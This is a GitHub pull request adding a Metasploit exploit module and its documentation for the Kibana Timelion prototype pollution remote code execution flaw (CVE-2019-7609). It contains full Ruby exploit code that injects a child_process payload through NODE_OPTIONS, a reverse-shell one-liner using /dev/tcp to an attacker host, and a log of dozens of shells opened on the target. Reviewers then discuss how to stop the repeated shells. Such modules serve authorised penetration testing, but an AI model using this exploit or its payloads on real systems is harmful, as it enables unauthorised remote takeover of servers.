Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Kibana Timelion Prototype Pollution RCE (CVE-2019-7609) #18316

Merged
merged 4 commits into from
Sep 8, 2023
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
## Vulnerable Application

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
An attacker with access to the Timelion application could send a request that will attempt to execute
javascript code. This leads to an arbitrary command execution with permissions of the
Kibana process on the host system.

Tested against kibana 6.5.4, yielding between 43-53 shells.

### Install

Use the [docker-compose.yml](https://github.com/mpgn/CVE-2019-7609/issues/1) but also note the comment
about needing `6.5.4`.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use use exploit/linux/http/kibana_timelion_prototype_pollution_rce`
1. Do: `set rhost [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell as the kibana user.

## Options

## Scenarios

### Kibana 6.5.4 on Docker

```
msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111
lhost => 111.111.1.111
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit

[+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78'
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4
[*] Polluting Prototype in Timelion
[*] Grabbing XSRF Token
[*] Trigginger payload execution via canvas socket
[*] Waiting for shells
[*] Command shell session 1 opened (111.111.1.111:4444 -> 172.19.0.3:34480) at 2023-08-24 15:14:03 -0400
[*] Command shell session 2 opened (111.111.1.111:4444 -> 172.19.0.3:34486) at 2023-08-24 15:14:03 -0400
[*] Command shell session 3 opened (111.111.1.111:4444 -> 172.19.0.3:34498) at 2023-08-24 15:14:03 -0400
[*] Unsetting to stop raining shells from a lacerated kibana

[*] Command shell session 4 opened (111.111.1.111:4444 -> 172.19.0.3:34512) at 2023-08-24 15:14:08 -0400
[*] Command shell session 8 opened (111.111.1.111:4444 -> 172.19.0.3:34548) at 2023-08-24 15:14:09 -0400
[*] Command shell session 6 opened (111.111.1.111:4444 -> 172.19.0.3:34530) at 2023-08-24 15:14:09 -0400
[*] Command shell session 7 opened (111.111.1.111:4444 -> 172.19.0.3:34546) at 2023-08-24 15:14:09 -0400
[*] Command shell session 10 opened (111.111.1.111:4444 -> 172.19.0.3:34556) at 2023-08-24 15:14:14 -0400
[*] Command shell session 13 opened (111.111.1.111:4444 -> 172.19.0.3:34566) at 2023-08-24 15:14:15 -0400
[*] Command shell session 12 opened (111.111.1.111:4444 -> 172.19.0.3:34562) at 2023-08-24 15:14:15 -0400
[*] Command shell session 11 opened (111.111.1.111:4444 -> 172.19.0.3:34560) at 2023-08-24 15:14:15 -0400
[*] Command shell session 14 opened (111.111.1.111:4444 -> 172.19.0.3:34576) at 2023-08-24 15:14:21 -0400
[*] Command shell session 15 opened (111.111.1.111:4444 -> 172.19.0.3:34592) at 2023-08-24 15:14:22 -0400
[*] Command shell session 17 opened (111.111.1.111:4444 -> 172.19.0.3:34612) at 2023-08-24 15:14:22 -0400
[*] Command shell session 16 opened (111.111.1.111:4444 -> 172.19.0.3:34602) at 2023-08-24 15:14:22 -0400
[*] Command shell session 18 opened (111.111.1.111:4444 -> 172.19.0.3:34616) at 2023-08-24 15:14:27 -0400
[*] Command shell session 19 opened (111.111.1.111:4444 -> 172.19.0.3:34624) at 2023-08-24 15:14:28 -0400
[*] Command shell session 20 opened (111.111.1.111:4444 -> 172.19.0.3:34626) at 2023-08-24 15:14:28 -0400
[*] Command shell session 21 opened (111.111.1.111:4444 -> 172.19.0.3:34638) at 2023-08-24 15:14:28 -0400
[*] Command shell session 22 opened (111.111.1.111:4444 -> 172.19.0.3:34642) at 2023-08-24 15:14:33 -0400
[*] Command shell session 25 opened (111.111.1.111:4444 -> 172.19.0.3:34676) at 2023-08-24 15:14:35 -0400
[*] Command shell session 24 opened (111.111.1.111:4444 -> 172.19.0.3:34662) at 2023-08-24 15:14:35 -0400
[*] Command shell session 23 opened (111.111.1.111:4444 -> 172.19.0.3:34652) at 2023-08-24 15:14:35 -0400
[*] Command shell session 9 opened (111.111.1.111:4444 -> 172.19.0.3:34550) at 2023-08-24 15:14:39 -0400
[*] Command shell session 26 opened (111.111.1.111:4444 -> 172.19.0.3:34692) at 2023-08-24 15:14:40 -0400
[*] Command shell session 28 opened (111.111.1.111:4444 -> 172.19.0.3:34720) at 2023-08-24 15:14:41 -0400
[*] Command shell session 29 opened (111.111.1.111:4444 -> 172.19.0.3:34736) at 2023-08-24 15:14:41 -0400
[*] Command shell session 27 opened (111.111.1.111:4444 -> 172.19.0.3:34704) at 2023-08-24 15:14:41 -0400
[*] Command shell session 31 opened (111.111.1.111:4444 -> 172.19.0.3:34758) at 2023-08-24 15:14:46 -0400
[*] Command shell session 32 opened (111.111.1.111:4444 -> 172.19.0.3:34762) at 2023-08-24 15:14:47 -0400
[*] Command shell session 33 opened (111.111.1.111:4444 -> 172.19.0.3:34772) at 2023-08-24 15:14:47 -0400
[*] Command shell session 34 opened (111.111.1.111:4444 -> 172.19.0.3:34788) at 2023-08-24 15:14:47 -0400
[*] Command shell session 35 opened (111.111.1.111:4444 -> 172.19.0.3:34800) at 2023-08-24 15:14:52 -0400
[*] Command shell session 38 opened (111.111.1.111:4444 -> 172.19.0.3:34828) at 2023-08-24 15:14:54 -0400
[*] Command shell session 36 opened (111.111.1.111:4444 -> 172.19.0.3:34804) at 2023-08-24 15:14:54 -0400
[*] Command shell session 37 opened (111.111.1.111:4444 -> 172.19.0.3:34818) at 2023-08-24 15:14:54 -0400
[*] Command shell session 39 opened (111.111.1.111:4444 -> 172.19.0.3:34838) at 2023-08-24 15:14:58 -0400
[*] Command shell session 42 opened (111.111.1.111:4444 -> 172.19.0.3:34868) at 2023-08-24 15:15:00 -0400
[*] Command shell session 41 opened (111.111.1.111:4444 -> 172.19.0.3:34860) at 2023-08-24 15:15:00 -0400
[*] Command shell session 40 opened (111.111.1.111:4444 -> 172.19.0.3:34850) at 2023-08-24 15:15:00 -0400
[*] Command shell session 43 opened (111.111.1.111:4444 -> 172.19.0.3:34870) at 2023-08-24 15:15:05 -0400
[*] Command shell session 45 opened (111.111.1.111:4444 -> 172.19.0.3:34890) at 2023-08-24 15:15:06 -0400
[*] Command shell session 44 opened (111.111.1.111:4444 -> 172.19.0.3:34886) at 2023-08-24 15:15:06 -0400
[*] Command shell session 46 opened (111.111.1.111:4444 -> 172.19.0.3:34898) at 2023-08-24 15:15:06 -0400
[*] Command shell session 30 opened (111.111.1.111:4444 -> 172.19.0.3:34742) at 2023-08-24 15:15:10 -0400
[*] Command shell session 47 opened (111.111.1.111:4444 -> 172.19.0.3:34910) at 2023-08-24 15:15:11 -0400
[*] Command shell session 48 opened (111.111.1.111:4444 -> 172.19.0.3:34914) at 2023-08-24 15:15:13 -0400

id
uid=1000(kibana) gid=1000(kibana) groups=1000(kibana)
uname -a
Linux 452752fde1a8 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux
```
185 changes: 185 additions & 0 deletions modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,185 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kibana Timelion Prototype Pollution RCE',
'Description' => %q{
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
An attacker with access to the Timelion application could send a request that will attempt to execute
javascript code. This leads to an arbitrary command execution with permissions of the
Kibana process on the host system.

Exploitation will require a service or system reboot to restore normal operation.

The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells
(50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a
docker image caused 6 shells.

Tested against kibana 6.5.4.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Michał Bentkowski', # original PoC, analysis
'Gaetan Ferry' # more analysis
],
'References' => [
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],
[ 'CVE', '2019-7609']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2019-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'WfsDelay' => 10 # can take a minute to run
},
'Notes' => {
# the webserver doesn't die, but certain requests no longer respond before a timeout
# when things go poorly
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(5601),
# OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
# OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
h00die marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# this pulls a big JSON blob that we need as it has the version
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

version_json = CGI.unescapeHTML(Regexp.last_match(1))

begin
json_body = JSON.parse(version_json)
rescue JSON::ParserError
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

@version = json_body['version']

if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||
(
Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&
Rex::Version.new(@version) >= Rex::Version.new('6.0.0')
)
return CheckCode::Appears("Exploitable Version Detected: #{@version}")
end

CheckCode::Safe("Unexploitable Version Detected: #{@version}")
end

def get_xsrf
vprint_status('Grabbing XSRF Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200

return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body

nil
end

def trigger_socket
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required
'keep_cookies' => true,
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'EIO' => 3,
'transport' => 'polling'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def send_injection(reset: false)
if reset
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
else
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')|
end
body = {
'sheet' => [pload],
'time' => {
'from' => 'now-15m',
'to' => 'now',
'mode' => 'quick',
'interval' => 'auto',
'timezone' => 'America/New_York'
}
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'kbn-version' => @version },
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")),
'keep_cookies' => true
)
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def exploit
check if @version.nil?
print_status('Polluting Prototype in Timelion')
send_injection

@xsrf = get_xsrf
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil?

print_status('Trigginger payload execution via canvas socket')
trigger_socket
print_status('Waiting for shells')
Rex.sleep(datastore['WFSDELAY'] / 10)
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you try to add a on_new_session method with this code? This method is called when a new session is established. This might be the place to execute this and stop the raining shells. For example, this is untested and probably not working, but just to get the idea:

  def on_new_session(_client)
    print_status('Unsetting to stop raining shells from a lacerated kibana')
    send_injection(reset: true)
    trigger_socket
  ensure
    super
  end

Another idea would be to keep the "reset" code in both exploit and on_new_session to make sure the reset is sent even if something went wrong. Maybe an instance variable can be used and set in on_new_session when the reset is done. The code in exploit can check this instance variable and decide to sent the reset request after a certain amount of time.
For example (still untested):

  def exploit
    ...
    @reset_done = false
    Rex.sleep(datastore['WFSDELAY'] / 10)
    unless @reset_done
      print_status('Unsetting to stop raining shells from a lacerated kibana')
      send_injection(reset: true)
      trigger_socket
    end
  end
  def on_new_session(_client)
    print_status('Unsetting to stop raining shells from a lacerated kibana')
    send_injection(reset: true)
    trigger_socket
    @reset_done = true
  ensure
    super
  end

There is probably a lot of race condition issues here, but you get the idea.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh, it's one big race.... Depending on the speed of the computer, I definitely see more or less shells. A VM will give me 10, an i7 laptop will give me 40. (this is down from 40 and 100).

So I think @sempervictus 's original idea was too fast, it set it and unset before the payload had a chance to trigger. I think unsetting on_new_session is a good idea, but at that point its too late as its kicked off a ton of times. I like the idea of doing the @reset_done checks and trying to fire ASAP, so I'll take that. However, the (good?) problem still exists of many shells.

end
end